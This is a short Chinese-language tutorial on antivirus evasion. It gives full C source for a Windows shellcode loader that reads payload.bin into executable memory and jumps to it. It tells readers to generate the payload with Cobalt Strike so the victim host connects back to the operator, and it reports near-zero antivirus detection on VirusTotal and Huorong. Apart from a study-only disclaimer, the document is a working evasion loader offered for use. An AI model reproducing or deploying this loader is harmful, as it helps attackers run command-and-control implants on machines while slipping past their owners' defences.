本文章仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任
前期准备
1.编译好mian.exe,源码如下
#include <stdio.h>
#include <windows.h>
int main(int argc,char* argv[])
{
//打开要执行的ShellCode文件
HANDLE hFile = CreateFileA("payload.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
if (hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile Error");
return -1;
}
DWORD dwSize = 0;
//获取ShellCode的总大小
dwSize = GetFileSize(hFile, NULL);
//申请一块可读可写可执行的内存
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL)
{
printf("VirtualAlloc Error");
CloseHandle(hFile);
return -1;
}
//将文件读取到申请的内存中
DWORD dwRead = 0;
ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
//执行ShellCode
__asm
{
call lpAddress;
}
return 0;
}
2.cs生成payload.bin,此bin文件多数杀软不查杀的,思路就是利用mian.exe来执行payload.bin上线cs。
注:payload.bin和mian.exe要处于同一目录下

火绒
VT查杀70/1